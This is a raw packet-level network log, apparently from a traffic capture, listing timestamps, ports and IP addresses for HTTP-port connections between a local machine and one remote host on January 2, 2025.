Jan 2, 2025 19:14:16.136032104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136039019 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136049032 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136054993 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136066914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136073112 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136077881 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136084080 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136087894 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136089087 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136095047 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136101007 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136106014 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136132956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136132956 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136147976 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136348009 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136354923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136409998 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136496067 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136502028 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136509895 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136516094 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136521101 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136527061 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136533976 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136537075 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.136611938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.136611938 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.137135983 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137141943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137151957 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137157917 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137162924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137168884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137185097 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.137223005 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.137307882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137314081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137320042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137332916 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137382984 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.137449980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137463093 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137470007 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137475967 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137518883 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.137612104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137623072 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137634993 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137641907 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.137690067 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138238907 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138287067 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138410091 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138417006 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138428926 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138434887 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138441086 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138447046 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138469934 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138493061 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138552904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138560057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138566017 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138571024 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138582945 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138588905 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138596058 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138600111 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138609886 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138612986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138612986 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138616085 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138622046 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.138627052 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138648033 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.138681889 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139332056 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139337063 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139343977 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139348984 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139380932 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139384031 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139389992 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139415979 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139434099 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139477968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139484882 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139491081 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139497042 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139502048 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139513969 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139519930 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139524937 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139528036 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139532089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139539957 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139580011 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139677048 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139683008 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139693975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139734983 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139839888 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139847040 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139853001 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139892101 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.139986038 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.139991999 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140003920 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140008926 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140043020 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140069008 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140173912 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140187025 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140228987 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140322924 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140328884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140336037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140341043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140351057 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140357971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140362978 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140368938 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140374899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140420914 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140420914 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140420914 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140420914 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.140794992 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140800953 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140806913 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140939951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140947104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.140949965 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.141094923 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.141273022 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141278982 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141290903 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141295910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141302109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141311884 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141323090 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141325951 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.141329050 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141341925 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141346931 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141357899 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.141360044 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.141375065 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.141401052 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.142087936 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142095089 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142215967 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.142254114 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142261028 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142266989 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142271996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142277956 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142288923 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142301083 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142303944 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142307043 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.142333031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.142333031 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.142362118 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.143023968 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.213900089 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.213907957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.213920116 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.213926077 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.213958025 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.214216948 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214227915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214235067 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214240074 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214246988 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214260101 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.214294910 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.214715004 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214720964 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214726925 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214732885 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214744091 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.214771032 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.214792013 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.215188026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.215193987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.215208054 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.215213060 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.215219021 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.215239048 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.215276003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.219455957 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219463110 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219475985 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219516039 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.219597101 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219662905 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.219769955 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219909906 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219917059 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219923019 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219928026 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219934940 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219944954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.219961882 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.219990015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.220053911 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220174074 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.220546961 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220552921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220566034 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220604897 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.220714092 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220721006 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220727921 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220732927 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220769882 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.220773935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.220773935 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.220813990 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.221570969 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221576929 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221645117 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.221718073 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221724987 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221730947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221736908 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221744061 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221755981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.221775055 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.221842051 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.221842051 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.222527981 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222539902 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222618103 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.222675085 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222681999 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222692966 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222697973 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222709894 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222714901 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.222764015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.222764015 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.222764015 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223472118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223479033 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223485947 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223491907 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223522902 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223598003 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223629951 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223635912 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223647118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223651886 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223659039 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223669052 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223680019 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223692894 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223704100 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223705053 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223705053 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223710060 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223716021 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223715067 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223721981 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223732948 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223733902 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223740101 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223754883 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223764896 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223767996 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223774910 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223781109 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223787069 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223788977 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223798037 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223804951 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223817110 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223824024 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223829031 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223834991 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223840952 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223848104 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223858118 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223864079 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223865032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223865032 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223903894 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223903894 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223912954 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223918915 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223934889 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223941088 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223952055 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223958015 CET	80	49728	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223961115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223961115 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.223963976 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223974943 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223980904 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223990917 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.223997116 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224004984 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224004984 CET	49728	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224010944 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224016905 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224026918 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224059105 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224071980 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224082947 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224087954 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224093914 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224101067 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224106073 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224112034 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224119902 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224123001 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224126101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224126101 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224128008 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224138975 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224145889 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224157095 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224163055 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224174023 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224175930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224175930 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224195004 CET	49727	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224196911 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224211931 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224369049 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224375963 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224394083 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224400043 CET	80	49726	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224411011 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224416971 CET	80	49727	147.45.44.131	192.168.2.6
Jan 2, 2025 19:14:16.224428892 CET	49726	80	192.168.2.6	147.45.44.131
Jan 2, 2025 19:14:16.224504948 CET	49727	80	192.168.2.6	147.45.44.131
